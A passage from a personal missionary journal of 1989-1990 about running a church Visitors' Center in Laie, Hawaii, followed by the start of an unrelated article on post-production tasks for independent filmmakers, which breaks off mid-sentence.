appearance of an over-sized dwarf. As we met, we both recalled that I had met him earlier in the Visitors’ Center, and fortunately I remembered his first name. He, of course, noting my missionary badge, called me “Elder Felt.” For an hour we just discussed a number of things about each other and the more I talked with him, the more I felt I was in the presence of a true man of God. I then learned that he was a PhD and had served very successfully for many years as a consulting psychologist. The more he talked, the more I came to know that here was an answer to prayer. I then shared with him my deep anxiety about Jessie and Sam. He then shared with me some insights and some directions which gave me clear answers to the perplexing problems we were facing with Jessie. He had previously told me that five years earlier he had undergone a massive stroke which forced him into retirement and also with a label that the medical profession had given him as being “incompetent” and not able to function normally most of the time. In my visit with him I saw no evidence of that at all. As he was talking to me, throughout the two hours we were there, he indicated to me that he had never felt more inspiration and more light and help in his counseling than in the things he shared with me. He attributed all that to the direct intercession of the Lord. In fact, he said on occasion “It’s not me that’s talking, it’s the Lord talking through me.” He thanked me profusely for providing him such a great experience, not only to perhaps help me in some of my unresolved dilemmas, but also in feeling such a rich and sweet spirit. I learned that he was going to be leaving the day after Jessie, which would be the following Tuesday, as Jessie was leaving on a Monday. The party who was going to take him to the airport couldn’t make it so I volunteered to take him and I’m certainly glad I did. Anticipating this, I gave him my dictaphone and asked him to dictate a number of the things that he shared with me. I’m looking forward to having all of this taken off tape. Meanwhile, he learned more about the Church, both at the Visitors’ Center and from me, and quickly agreed to taking the missionary discussions. Since I’ve been at the Visitors’ Center I have learned how to memorize again. I haven’t done any of this since my first mission in 1937. It was difficult to begin, but now every morning as I get on my Schwinn Airdyne bike it enables me to swing my arms and pump the bike and memorize. I’ve been using a number of these memorized scriptures and inspired quotes in our Missionary Family Council, but they served me particularly well as we were driving to the airport with Jack Cottrell. I shared with him from memory recall, many of the verses in Section 121 relating to the true principles of leadership. As I shared that with him, he quickly grasped those as containing some of the greatest insights in human relationships and true leadership that he had ever heard. So, all in all I have made a great friend in this little old man that came waddling up the hill when I needed some help. I later shared with Afton that for a few moments I thought maybe I was visiting with one of the three Nephites. I’m reasonably sure that that could not be so, because he gave me a background of his past life which was fraught with all kinds of heartache and unusual achievement. When he was born his parents thought he was a Mongoloid and his father made it clear to his wife and family then, and all through the growing-up years of Jack’s life, that he was a curse. Even today, after all these years, his aged father still berates him and tells him things that destroy his self-worth. But Jack refuses to let that stop him from honoring and respecting his father. He’s had so much heartache with his own wife, who bore him three children. She uses him only as a provider and a convenience. She has been repeatedly unfaithful to him but he always takes her back. Some of the most serious differences they have is the fact that he makes very good money in his professional counseling career, but all his life he’s felt that any money that came to him was the Lord’s money and so he would share it with any needy soul. His counseling was instrumental in saving and turning around many a life and he’s also shared and given money to those in need. He is now the recipient of not only many letters and many treasured friendships from people he has helped, but also they are repaying him with gifts and money far beyond what he ever gave. Well, because of his help it is now clear that the marriage of Jessie and Sam for now must be terminated. Jessie has undergone so much mental anguish that she has been taken right to the brink of maintaining a sane, normal life. So our clear counsel from Jack Cottrell was to give her full and unqualified support. Up to this stage, Mom and I, together with the family, have been pleading with Jessie to give the marriage another chance. Now we have made a complete reverse, hundred-and-eighty degree turn and are supporting Jessie on her decision. While she was with us she did go to our meetings with us and, now that she knows the position of the family, we believe she will find a way back into activity. Meanwhile, though, she’s lost a lot of ground and must recover a lot of things that she has lost spiritually and in terms of her values. Life at the Visitors’ Center continues to be very demanding, but also very rewarding. It is also fraught with more heartache and stress than any Church service call we’ve had. The only way we can account for this is to realize that this is a very strategic area of the Church. With Visitors’ Centers undergoing such a major change, the Adversary seems to be going overtime here against all good causes and to some degree affects all people. But we are assured that we are where the Lord wants us and have every faith and confidence that He will see us through any challenge that yet awaits us. This concludes the journal entries up to and including September 21st. Thursday, September 21 – Saturday, November 4, 1989 On July 1st of this year, President Kikuchi was released and his successor was President Perkins, a retired medical doctor. We were able to cultivate a very warm, happy relationship with President Kikuchi and looked forward to a similar relationship with President Perkins. Unwisely, I overlooked the transition and adjustment period of a new Mission President. Shortly after his arrival I placed on his desk some urgent matters on which I asked for quick action. I should have known better because I vividly recall, in 1971, when I replaced a great Mission President, and the trauma and the test of that transition. The matters that I urged quick action on had to do with the transfer of a Referral Program which has long been the responsibility of the Visitors’ Center, but I was instructed to transfer it to the Mission, together with a review of some of the stresses our young sisters have continually faced being accountable to two priesthood leaders–the Mission President for their proselyting and the Director for the Visitors’ Center. The latter creates a difficult situation where people are really accountable to two masters, which has generated, in my judgment, many serious problems. President Perkins understandably reacted very quickly and resisted either of the recommendations I was making. I continued to press for a transfer of the Referral Program because rightfully it belongs in the Mission and, because of the fact that it was developed here some years ago, each new Mission President came to feel that that’s where it should remain. Well, because of some of these matters, unfortunately, my relationship with the new Mission President didn’t start off too well. Since then I have made every effort to mend the relationship and have made some progress, but there is still much to be achieved. By nature, he is a very strong “take-charge” kind of person and that phase of his personality, together with my unwise action of placing such heavy problems on his desk at the outset of his mission, has created a problem that hasn’t been fully resolved yet. But, one of my top priorities is to do what needs to be done in order to develop a harmonious working relationship. With President Kikuchi I had in place a number of programs involving member involvement and public relations for the Visitors’ Center, all of which had to be renegotiated. Some of the things President Perkins has cautiously approved; others he has not. It will not be possible for me to work on the objectives set forth in the job description until more trust is built between us. I fear President Perkins came with a traditional and common view of the Visitors’ Center as being a kind of a “country club” atmosphere that really didn’t require much serious work. One good thing out of all this is the fact that the Brethren did send a new job description for all Visitors’ Centers, which went to President Perkins, following which he sent it to me. As he reviewed it I’m sure he could readily see that if I do my job there’s going to be a lot of things that will have to happen, any one of which, of course, must first begin with his approval. In the job description there is a request that the Director prepare a master plan and submit it to the Missionary Department through the Mission President. I have prepared such a plan and will shortly be submitting it to him. Ever since my arrival I have had a very difficult relationship with a forty-year-old man, single, a convert of about a year, by the name of Walter Wagner. Brother Patterson, the previous Director, had assigned him a number of things to do in the Visitors’ Center without appropriate clearance from the Bishop and Stake President. The end result was that Walter Wagner had not been properly integrated into his ward and stake and therefore his church activity revolved around the Visitors’ Center. There is much to be recorded about this unhappy episode, but I’ll just briefly say that there is no one person in my lifetime who has caused more stress and problems as I’ve sought to discharge my assigned responsibility in the Church than Walter. What he has done for us in terms of problems goes beyond the Visitors’ Center. He has also created serious problems with the Temple. Presently, things have significantly improved. Out of this whole experience I have relearned a great lesson. Because of his abrasive manner intruding into different areas that he had no right to be operating in, I allowed myself to have a few open confrontations with him that has offended and alienated each of us from the other. I let that seethe and boil in my own system too long before he and I together met and reviewed the past and made a genuine apology to each other, seeking forgiveness for the offense that we had caused each other. Since then the outlook appears much better. Here is an interesting example of a situation where I knew full well when any offense is caused, it is the responsibility of each party–regardless of who caused what–to forgive. I hadn’t done that. Once I did there was an immediate peace that came into my heart that has enabled us now to develop a better relationship. Yesterday, I met with his Stake President and Bishop and was happy to give that good progress report on the matter. I don’t ever recall an assignment in my life where I have faced more tests and trials in adjusting to my call. One area, that has been not only a source of stress for me but also with the other couples, is the purchase and maintenance of our individual cars. All couples in the mission have mission cars, except the Visitors’ Center couples. We must buy our own and maintain it. That has proven to be a very costly thing for all of us. While the cost of cars here is about the same as it is in the Mainland, the repair and breakdown costs are much higher. The nature of so many Polynesian people is to make a lot of promises about what they are going to do, but frequently never perform. A case in point is my own car repairs. For at least three months I have spent far too much time trying to get cars repaired. All in all it has added up to a major stress in my life. Hopefully, it is resolved now and we can move forward without that major anxiety. We not only have a new Mission President, but also a new Temple President. I was able to enjoy a marvelous relationship with President Haycock, who sadly was not even on speaking terms with my predecessor. The new Temple President came September lst. He is an unusually warm and congenial man. From the very outset we were able to develop a good relationship and it’s getting better as the weeks and months go by. Another real stress that I, and every Director before me has faced, is attempting to get the needed maintenance work done on our Center, especially with some of the high-tech equipment, from our temple personnel. With President Jex, he is requiring more performance and thus easing substantially what has been a continuing anxiety. While I am identifying areas of concern and anxiety, there is yet another one I must mention; namely, Sister Margaret Farnsworth, a former executive secretary to two or three Temple Square Directors, who came with a great deal of background in script-writing and other areas of expertise in Visitors’ Center operations. We learned of her arrival weeks before she came. So when she did come, we met with her to see what kind of involvement she could take with the Visitors’ Center. Her job description at BYU was unclear and they were willing to give us a portion of her total time, which at the outset appeared very, very promising. However, here again was a person who had serious problems adjusting at BYU and also in finding her place here at the Visitors’ Center. It seems that this entry in my journal is identifying problems with too many people. Anyone reading this account would probably conclude that the problem is not so much with the other people as it could be with me. That may well be. So, I plan to do some soul-searching and make sure that I don’t generate the problems which I see other people generating. We learned recently that our daughter, Marilynn, and her husband Steve, who just completed a lovely large home in Salt Lake, have accepted a job with Exxon, a company they had been with previously for a number of years. Exxon made an offer that was difficult to turn down, so Steve and Marilynn will be moving to Houston. Since our arrival here about eight months ago, we have been blessed with four grandchildren, one of whom is a sweet girl for Steve and Marilynn. It has been difficult not to be able to spend more time with family; however, Afton and I are both assured that in the long run there will be really no loss to us nor to the family in terms of family unity because of our two-year separation from them. Already there is some clear evidence of the fact that the family is becoming even more united even with our absence. Another great news item for us in the family is the call of Ron to be a Bishop in the Tokyo English Ward. Two months ago his assignment with Morgan Stanley in New York called him to work in the Tokyo Office and provide some management for the Hong Kong Office. Ron has achieved unusual success in the few years he’s been in the banking business, which began first with Chase Manhattan and then Morgan Stanley. Recently, Eldon Ricks and his wife came to the Visitors’ Center, which brought back a flood of memories from our time together at BYU. Since my arrival here I have had one rather serious health episode which was fortunately resolved through a blessing and some treatment from good doctors. Another one recently occurred which had some very strange characteristics. Each Monday we have an hour and fifteen minute Family Council and Training Meeting. There is a twenty-minute period there reserved for the Director to give what instruction he feels necessary, or to call upon others. I chose to do something on my own, having made notes of a number of things we might discuss. When I arose, I experienced an unusual “stupor of thought”–I use that phrase which comes from Doctrine and Covenants Section nine where the Lord reminds that when we are pursuing a wrong course, or some other situation in a given matter or time that would generate some discord or division, that there could be a serious stupor of thought. As I struggled to get some insight and direction, I had to frankly admit to the group that I was just helpless. The couples observing the matter determined that it was more than just a passing loss of memory or a stupor of thought, but perhaps some health factor such as a minor stroke. Brother Fugal of one of our couples happened to have with him, visiting from the Mainland, a medical doctor, Dr. Gardner, an internist. When they described the situation to him he asked that he might visit with me. In the course of the visit he attributed the whole matter to not only the possible forerunner of a stroke, but also what he called fatigue. His instruction and charge to me was to slow down and take more rest. This is not going to be easy to do but I must do it and certainly will follow his instructions. This concludes the journal entry up to November 4th. Sunday, November 5 – Wednesday, November 29, 1989 Upon our arrival, President D. Arthur Haycock was the Temple President. We were able to enjoy an unusual, warm, productive relationship with him. Because of this fact, we were able to get into place a number of significant improvements in the Visitors’ Center which had been held up because of serious communication problems with my predecessor. However, the kind of working relationship he had with my predecessor, he had had with several others; so the fault doesn’t lie with others as much as it does with President Haycock. But I certainly was able to develop a good relationship. In fact, as I look back on it now, he reminds me so much of President Ernest L. Wilkinson. In 1951, when I was appointed Director of Indian Affairs at BYU, my line of accountability was directly to the President. This was not only a frightening prospect, but a very difficult one. He and President Haycock have a lot in common. They get a great deal done but in the process some people are offended and alienated. The new Temple President, President Victor Jex, is the man for the job. He comes with tremendous administrative experience and with a temperament and personality that makes it possible for him to relate warmly to people and yet require performance without giving offense. He and his wife together make a great pair. Since their arrival we have been able to have them share a number of evenings with us in different firesides and meetings and socials. He and his wife have come from three back-to-back couples’ missions prior to coming here. Recently, President Perkins sent me a new job description for the Visitors’ Center. Our present one is only two-and-a-half pages; this one is about nine pages long. This seems a little strange when we understand the Church is on a program to simplify. I was delighted to learn of the appointment of President Shumway and requested that I be permitted to pass my matters through him rather than take them to President Perkins in Honolulu, because of distance. At the outset President Perkins resisted this and asked that I bring things directly to him. A few weeks later I made a second request and he approved that we go through President Shumway. Brother Fugal and I met with President Shumway and shared with him a rough out of our master plan, which he felt very good about. As I look back on some ten months here at the Visitors’ Center, one area that has created some stress and thus has compromised my total commitment to the Visitors’ Center, was a preoccupation with cars. Unfortunately we brought a luxurious car which we shouldn’t have done. Upon our arrival we realized that we should get a more modest car and therefore concluded we would sell the Maxima. But this wasn’t easily done. In fact, no one would give us near what it was worth, so we determined to keep it through our mission here and likely take it home with us. Meanwhile, however, I had purchased another car which required a lot of body work which took a total of two months. I have been dealing with a man who is a very good mechanic and a very honorable man, but because of his Polynesian ways of being quick to make promises but slow to perform, it has created some real stress. Each of the couples face similar problems with vehicles. Before I leave, I am going to attempt to get a new policy for Visitors’ Centers–at least this Visitors’ Center–where our couples, like all other couples in the mission, will have access to mission cars. The cost of our mission is probably running about $1500 a month, a good part of which is the maintenance and care of cars. For the first time in about thirty years I have a tax audit for the year 1986. It seems ironic that this would come while I’m serving a mission. My accountant, Hans Anderson, has always done an unusually good job for me, but somehow he missed something. I allowed myself to develop such anger and bitterness towards him and I could not seem to rid myself of it. For the weeks that followed I allowed this to fester which resulted in paying a real price in terms of the companionship of the Spirit. I know so very well the guidelines the Lord gives us in Doctrine and Covenants Section sixty-four, where we are commanded to forgive all people regardless of the offense and injury. This I didn’t do and held this grudge for many weeks until finally one evening I came to grips with myself. With the help of the Lord I was able to bring myself to invite Walter in and seek forgiveness for the stress and sorrow I had caused him and let him know of my love for him. This came as a real surprise to him. For the first time I saw a little emotion and a tear on his cheek. Since that meeting the relationship between us has vastly improved. We have also been able to cut back and limit his visits to the Center. It’s good to be able to be serving in an area where another arm of BYU is always available to us. With the BYU campus so close, we have pretty much what we had in Provo. We have a Temple, we have a BYU campus, and we have a Visitors’ Center, which is a kind of Celestial triangle. With BYU we are able to handle all of our health insurance claims through the DMBA. The principal doctor and Director of the Health Center is Doctor Nielson. He has given me unusual care. Recently, he questioned whether I need to remain on Lanoxin, a heart medicine, and Tagemet, a stomach medicine. For several weeks now he has had me off both of these and I seem to be doing much better. A recent letter from Ron and Tracy has informed us that Ron is now assigned to Morgan Stanley in Tokyo. Ron has had an unusual career in the banking business and in the world’s greatest and most respected investment bank–Morgan Stanley. They have now assigned him to the Tokyo Office with some middle management position for the Hong Kong Office. He had been there only one month when they called him as Bishop. A recent letter from Tracy, his wife, and from Ron explained in some detail something of the providence that operated in their lives, not only with this call as Bishop, but in this professional move. Another major move for a family member involves Steve and Marilynn. Steve had a very distinguished legal career with Exxon, where they were preparing him for some high-level management positions. He chose to turn it down and go with a big law firm in Salt Lake. During the year he’s been there, Exxon had apparently come back and are again courting Steve. They finally persuaded him to take an assignment in Houston. With both Ron and Steve, their company moves them and buys the home they must sell. So, their moves are not like many moves Mom and Dad took where we pretty much were on our own. We were shocked to learn that, for Ron, Morgan Stanley is paying all of their costs including the rental and lease of a modest home in Tokyo which costs the company six thousand dollars a month. Another item of unusual interest that I want to put in the journal is the training program we have for an all-island conference in Honolulu in the tabernacle. President Gene R. Cook, the area president, was the General Authority visitor. For three-and-a-half hours he gave some unusual instruction and training which I fortunately recorded and have. This concludes the journal entry up to November 9th. Friday, November 10 – Thursday, December 14, 1989 Upon my arrival, I was provided a page-and-a-half job description for the Visitors’ Center. Recently President Perkins sent me a nine-page updated description of the Visitors’ Center. In light of the Church’s present emphasis on simplicity and the reduction of meetings, manuals and letters, etc., this came as a little surprise. Included in this job description is an assignment to the Director that he prepare a budget for each calendar year and then to submit a master plan to the Mission President, who would be our priesthood file leader, on what we plan to do to meet the objectives of the Visitors’ Center as set forth in the job description. Brother Fugel, who serves as our “Public Relations and Member Involvement” man and I have prepared a master plan which we have submitted to President Shumway, a counselor to President Perkins, who gave us a full endorsement and further assured us that he was sure the Mission President would accept it as well. Since the arrival of the new Mission President it has been so difficult to get a hearing and approval on a number of things, including the things we should be doing in Public Relations and Member Involvement. With President Kikuchi, his predecessor, I had in place a number of things, and upon his arrival I sent a letter indicating those things that we were doing and asked for approval to proceed as I had been under President Kikuchi. He asked that I hold it in abeyance until such time as he was able to review these matters. Months have gone on with really no direction or authorization to proceed on these matters. I asked if I could work through President Shumway, who lives here in Laie, and he turned me down–but later approved us going to him. Since we have been taking our matters to President Shumway, we have been able to move forward with pretty much the same program we had before. I’m still moving very cautiously with President Perkins, attempting to mend some fences that were damaged as I pressed for some changes in relocating the referral program into the Mission Office instead of the Visitors’ Center. President Perkins and the Correlation Committee have approved us moving on a very ambitious Christmas program which includes much more than has ever been done in Hawaii before. In brief, the program includes: beginning Dec 3rd with a Nativity scene out on the plaza, and then programs continue each night until Christmas. Inside the Visitors’ Center—the latter would include community singing groups, along with the Nativity scene outside. Overall the program was a huge success. On the first night we had over 600 people. The Nativity scene includes local young couples with a new baby complete with the manger scene and a pony or a donkey and a bail of hay, with our sisters and other groups singing by the Nativity scene, surrounded by Christmas lights and Christmas music. Inside we have local community singing groups. While the first night drew great numbers, there has been a big fall-off of numbers, but nonetheless we continued and had some ups and downs on the numbers and on the quality of the program. Overall, our Christmas effort under the chairmanship of Sister Mary Glick, involving other couples’ wives and the wife of the Temple President, worked out very well. I received a letter from my dear friend and neighbor and former Stake President, Clyde D. Sangrin. He was my Stake President when I served as a Bishop in two wards on campus. For this journal, I hasten to add I didn’t serve in both wards at the same time; they followed back- to-back calls, but in the same stake. It was a joy serving under President Sangrin’s inspired leadership. Since then, those of us who served have met two or three times a year in what we’ve come to call “The Sangrin Seconds.” Since this letter, and recalling these many memories, I’ve learned from a friend that President Sangrin has undergone a massive heart attack and is not expected to live. Since my last journal entry we have had two couples complete their 18 months and leave. The first were Brother and Sister Billy Dunn, and the second Brother and Sister David Beardshaw. The couple replacing the Dunns was Brother and Sister John Fugel and the couple replacing the Beardshaws was Robert and Marva Wood. Since my arrival it was necessary to initiate new programs which were routinely and always resisted by the couples. Nonetheless, through careful cultivation of the couples, they did resign themselves to the changes and gave some measure of support. But always in the process of making the change, it became a situation filled with stress and trauma. Both Afton and I have really extended ourselves to cultivate the friendship and love of these good people which we have. The Aloha that was held for each of them was an evening of great joy for all of us. Afton and I have high respect and love for both couples. However, we are so thrilled and pleased with the couples we now have in place: Brother and Sister Harry Glick who replaced the Wiscombes; Brother and Sister Fugel who replaced the Dunns; and Brother and Sister Wood who replaced the Beardshaws. The present quartet of couples are completely united and working so very, very well together. Brother Wood serves as the Assistant Director, Brother Fugel as the Public Relations and Member Involvement Representative, and Brother Glick as the Training Director. Prospects for continued productive work look very, very promising. A few months ago I had a letter from my accountant, Hans Andersen, who had done an audit on my 1986 return and informed me that there was a $1900 deficit still owing for some undeclared income. This surprised and shocked me, but with the distance separating us it has been difficult to get it resolved. We finally settled on a figure of about $900, and I was just in the act of writing the check for that amount when Brother Andersen, our accountant, called and said that they had discovered an error that he had made and that the IRS had made and that I did not owe the government anything. In fact, they owed me $600. All of this came as an early, appreciated Christmas present. Several months ago Margaret Farnsworth, who was the executive secretary to two Temple Square Directors, reported as a BYU missionary, but with no clear assignment of duties. When we learned of her arrival we asked permission to use her part-time in our operation here for scriptwriting and public relations purposes. She readily agreed, but for the first few weeks and, in fact, the first few months, it became so contentious in our meetings that we had to back off utilizing her. Since then, however, each of us has reached out, making it a point to keep the friendship and relationship alive. And now she has come back seeking to assist us on our terms and not on her terms. At this point in time it looks like it’s going to work out well for us. A call from Ron and Tracy, who are now in Tokyo, Japan representing Morgan Stanley in a kind of a middle management position with some responsibility for the Hong Kong office, has proved to be a marvelous opportunity for Ronald. The company has taken on the whole financial responsibility of the move including a monthly payment for a lease and rental of a home of $6,000 a month. Ron had only been there three weeks when he was called as bishop of a ward in Tokyo. Mom and Dad feel he’ll make a wonderful Bishop. Another major move for a family member is the move of Steve and Marilynn, who just settled into a large law firm in Salt Lake City, having come from some highly successful work with Exxon in international assignments which took them to Malaysia for several years. Since his affiliation with the new law firm in Salt Lake and the completion of a large and beautiful home, his former employer Exxon has continued to court him to see if they might get him back. They apparently made an offer that they couldn’t resist. And so they, like Ronald’s company of Morgan Stanley, Exxon has picked up all the costs of the move, the purchase of their existing home, and a substantial front-end bonus. So, it appears that they will be going to Dallas, Texas. Steve, because of his background as an attorney and his willingness to take on all of our personal property matters, has done such an outstanding job for us. Because of his work, we have had little or no anxiety or any problems of a temporal financial nature. They have done everything for us in the management of things at home. But with his move, our son Larry has now taken over that role and is doing very well. Since our arrival and during the ten months we have been here, it has been marked with some significant highs and some stressful lows, but overall we feel very positive about everything–especially now that we have four loyal, supportive couples in place. Our Christmas Eve with the Visitors’ Center family, which consisted of four couples and ten sisters, proved to be unusually successful. Added to that a phone call from every family member, together with letters and packages, made this an unusual Christmas for Mom and me. All in all at this point in time everything looks very good. Since our arrival, the family has blessed with four new grandchildren, and with one more yet to come in February. Let me conclude this journal entry with one unpleasant experience which is now resolved. For a number of years the couples, and now the young sisters, serving in the Visitors’ Center had been residing in a cluster of homes within five minutes from the temple and the Visitors’ Center. The housing provided is modest, but very adequate and very, very convenient. A few months ago we had one temporary vacancy and the Mission President requested that we be allowed to house four proselyting sisters there until such time as they were able to locate housing in the community. I resisted, realizing that once this house rental unit was given up, it would be very difficult for it to come back to us. But I yielded with a verbal assurance that we would have it back when we needed it. Our understanding was that they would only need it for a month. Two months went by, three months went by, and there was no indication of the mission giving it back to us. When there came a time that we had to provide some housing for our sisters, we had to look elsewhere. It finally reached the point where President Perkins suggested that, inasmuch as the Fugels were living in a unit with two bedrooms, they should move and make that available in order to accommodate our two additional sisters. I resisted on the grounds that it was not right to move a couple who came and settled in. They came with the understanding they would have an additional bedroom which they need because of their health needs and because of family visiting them. Each time I resisted, the President countered and urged me to support them on this proposal. After the third time, I had to yield, but with this counterproposal: rather than disrupt the Fugels, let the missionaries take over our home and move Sister Felt and I into a one-bedroom unit. Normally the Director has two bedrooms and a large living room in order to accommodate the Family Council meetings and other Alohas and meetings that are held in our home. The President agreed that this could be done. None of us felt right about it, but we felt we had to yield to what the President requested. Meanwhile, unbeknownst to me, Sister Fugel wrote a pretty clear, harsh letter to President Perkins. That letter finally brought to light the kinds of unjust, thoughtless requests he was making of the couples. He apologized very profusely to the Fugels and to others, and now we’re back where we were prior to the request. The four proselyting sisters and missionaries will be seeking a rental out in the community, thus making available to us the ones that we had had for a considerable period of time. Friday, December 15, 1989 – Thursday, January 11, 1990 Earlier journal entries referred to some stressful problems we had been facing with President Perkins regarding the housing of some of our young lady missionaries. He invited me to bring the other three couples and to share a dinner and an evening with him in their home in Honolulu. Naturally we were happy to go, knowing that the stressful housing situation had been once again resolved. Following the dinner, he visited with me on the matter once again and pointed out that by not leaving our four lady missionaries in our Visitors’ Center housing, it would incur a heavy cost each year on housing through the Mission. Prior to going, Afton and I had further counseled about the matter, prayed about it and had come to some peace within ourselves that we would no longer object to whatever he proposed to do. Prior to leaving, we met with the four couples and let them know our position, but two or three of them still registered some real opposition to some of the things that he had done and said that if he proposed any changes to the agreement to which he had assured us he would support, they would fight it. I plead with them not to create any more turmoil and argument. Following the dinner, he recommended the roll-back because of the financial savings to the Mission, seemingly with total disregard for the previous promises and commitments he had made. I was disappointed, but I didn’t want to get into any more encounters. I assured him we would support them. Brother and Sister Fugel and Afton and I came up in the Fugel’s car, and when we left, the other two couples registered some real displeasure to the President about his change of heart. So once again we were right back in a deep, stressful, unresolved matter. It threw all of us in a deep depression and bitterness toward the President. The other couples felt that I hadn’t taken too bold and strong a position on the matter. Another sleepless night was spent mulling this matter over, so early in the morning I called the President and told him of the dissatisfaction and the murmuring among the couples. He quickly agreed that what he had proposed to do was wrong, that people were more important than program and money, and once again reversed his position. This time he has kept his word and there is a much better feeling about the matter. Tomorrow we will be meeting with the President in his own conference, at which time he assures us he will meet with the couples and apologize to them. Presently everything looks very good and upbeat with the President. As for Afton and me, we have long since crossed this bridge and have developed a genuine love and respect for him. With this present concession and roll-back, our love for him is greater than ever. Ever since our arrival on this mission, we have been spending a good part of our time cultivating different key people at the temple, at the Polynesian Cultural Center, and in the Mission. All of these people, and all of these entities, have real impact for good or bad upon the Visitors’ Center. Therefore, it is imperative that we maintain good working relationships with all these people. As I modestly look back on my nearly one year in the mission, I can see clearly that my principal contribution, if there has been any, is that of a peacemaker. Historically and traditionally, this whole area involving the temple, Visitor’s Center, the Mission, the Polynesian Cultural Center, and the community have had no end of disputes and arguments. When I was called for what the Brethren call a “background check,” I was told that this area was a very strategic place for the Church. Since coming here, I know more deeply than ever that this is a fact; because it is such a crucial and strategic area, the adversary certainly works overtime among this people and in this area. In fact, as I reviewed some of these matters with others at Church offices, they told me that this kind of thing “goes with the turf.” In the eternal scheme of things, apparently the isles of the sea and, more specifically, this area right here in Hawaii, will play a very strategic role—thus, Satan works overtime. Upon coming here, President Haycock served as the Temple President. He reviewed with me, as have others, the kind of extreme difficulty even great priesthood leaders have in getting along with people. President Haycock and my predecessor, Brother Patterson, were not even on speaking terms, with the result that the temple was extending little help in terms of what they should do for the Visitors’ Center. It wasn’t difficult at all for me to cultivate a wonderful working relationship with President Haycock. And once that was in place, he had extended more significant service and budget monies and help than I could ever dream of. I cite only a few things: he made it possible for us to get a thirty-thousand dollar ($30,000) carpet installation; a five thousand dollar ($5000) upgraded phone system; and many, many other things. With his departure, a new Temple President came, by the name of President Victor Jex. President Jex and his wife are tremendous people. We were able to quickly cultivate a good relationship with them. President Haycock had overspent the budget, so much so that they had to cut back on a number of services they were extending to us, as well as to other things in their own operation. When we came, we had two full-time maintenance people and one full-time man who took care of the plaza and things out in front of the Visitors’ Center. Because of budget restraints, they had to terminate those services and bring in their own people each night to do the maintenance. For the past few months, things have really been deteriorating inside and outside. The organizational structure of getting help in time of need was so complicated that we always had real problems in getting jobs done. Finally, I scheduled a personal meeting with President Jex and told him of the problem. He then, in turn, called the Recorder who serves as the Administrative Director and, together, we persuaded him that the present system was not working and that we would once again have to assign two people to the Visitors’ Center. This they are now doing, but we will be given full authority and control over them, which we did not have before. This will enable us to better monitor their work and get more performance. Once again, we went through a real battle, so to speak, and had some sleepless nights and stressful moments; but, once again, things are looking very good. As these devastating, stressful problems occur again and again, we think we have finally come to the end of them, yet we have concluded that, as long as we’re here on this assignment in this strategic area, it will never end. However, we are learning how to cope better with the problems as they do surface. Today, Mom and I are enjoying a preparation day and spending it pretty much here at home, picking up a lot of loose ends. Presently, our four couples are working so unitedly, so energetically, and so effectively. Also our young sisters, under the direction of a newly appointed District Leader, are doing very well. All in all, it appears that we are reaching a peak and a level of performance better than we ever have before. “Hoop-de-doo, the gospel’s true!”

15 Sexy Things You Get to Do When You Think Your Film is Finished . Here’s a few of the top sexy (and by “sexy,” I mostly mean “crappy”) things you still need to do. Even if you’re just starting your film project, you should read below; you can avoid a lot of future aggravation if you know what you’re heading into and prepare appropriately. 1. Deliverables Whole articles can and have been written about what you need for deliverables. Simply, they are the things you have to deliver to your distributor before they’ll even think of paying you. Broadly, deliverables consist of paperwork (E&O insurance, chain of title, cast/crew contracts, production notes, receipts, dialogue list, etc.) and all your physical/digital elements (the movie itself, sound stems, M&E mix, DVD extras, key art, poster, trailers, etc.). Now if you and your team were on the ball from preproduction through post, you’ll undoubtedly have most of this paperwork already stashed in binders and folders somewhere. Better still, you’ll have it all digitized in one handy hard drive or cloud-based system. But, if not, you can count on endless hours of scanning, emailing, Dropboxing and searching for all these documents. And, by this point, you won’t have an army of production assistants and interns to do the scanning for you. So, if you’re about to make your film, remember to try to get as much of this administrative work done during production, while people are still eager and available to help. Try to get a single hard drive to put all your “physical” elements on. Your film itself might be the simplest thing. But make sure you’ve got all your soundtracks, stems, mixes, etc., and make sure everything has the same 2-pop on it. Just because we’re living in a digital age doesn’t mean you shouldn’t put old-school SMPTE 2-pops on every track. And, beware: just when you think your post and delivery work is done, some pimply-faced kid in your distributor’s QC (quality control) department will catch a bizarre glitch on one frame of film and make you redo everything. Or, worse, he will not catch something he should have. On my last film, Between Us, we thought we’d delivered all our 5.1 audio tracks at the same time as the film. It turns out we were missing a few surround channels on our drive, and we had to go back to the sound house (which fortunately hadn’t dumped them) and deliver them two weeks later to our distributor. By then, the distributor had laid their seven-second logo over our 2-pops and proceeded to put our surround channels in what they thought was the beginning of the film. The QC guy didn’t catch it, and the surrounds were now seven seconds out of sync! It took months of aggravation to sort things out. The worst part about the deliverables process is that just when you think you’ve got it all delivered, your distributor will gently remind you that you’ve got one more thing left to do before they’ll pay you. And just when you’ve finished that, you’ll get a new distributor — maybe this time a foreign sales agent — who will give you a deliverables list that is at least somewhat different from what your first distributor demanded. And did you have a nice post or sound house that gave you all those late-night freebies to get your mix done in time for Sundance? Guess what? They won’t be so nice to you when you go back a year later and ask for even more work on your deliverables. So get that M&E mix and full 5.1 done while you’re doing your first festival mix. That may well be the last time you’re allowed to set foot in your sound house. 2. E&O Insurance Errors and Omissions insurance is almost always required when you get distribution. As the name implies, it covers you and your distributor for all the legal crap you probably forgot to take care of when you were actually making the film. There’s only a handful of companies that do E&O for indie films, and you’ve got to do your due diligence and get bids from a least a couple. But E&O isn’t cheap — plan on around $5,000 for a feature. In the old days you could probably squeak by without E&O if the network or distributor agreed to cover you on their general E&O policy (Sundance Channel used to do this), but I’m not sure how often that happens today, even with the smaller VOD companies. 3. Repair Relationships Suck it up if you can. Pucker up if you must. Lawyer up if you have to. If you’ve gotten this far in the process, you’ve probably pissed someone off: an investor, a producer, a spouse, a key grip, a post house, a makeup artist with a litigious father, who knows? But someone will be mad at you, and even more so when they hear you’ve been traipsing around the globe to glamorous film festivals. Or worse, when they see you humble-bragging on Facebook that you’ve sold your film for what they can only imagine is an ungodly sum of riches. This is the price of “success” for an indie filmmaker. But unless you plan on changing your name and moving to Trinidad (to say nothing of Tobago), you need to find a way to salvage these relationships or they will haunt you for years: emotionally, financially or legally. Do whatever apologies, IMDb credit-giving, therapy or promises you need, but get over these spoiled relationships and move on. 4. Promote Your Friggin’ Movie Whether you get a full-service distribution sale with a mini major, a little VOD deal with a small company, or you are self-distributing out of your garage, if you want people to see your film you have to get involved. No one’s going to work harder than you to promote your film. So, just because your distributor has an in-house publicist, or you paid out of pocket for an independent marketer, booker or publicist, you can’t slack off when your film is released. When I self-distributed Omaha (the movie), I stood in front of the old Laemmle Sunset Five in L.A. for 13 weeks with a sandwich board passing out fliers. When my recent film Between Us was getting a 50-city theatrical release from a 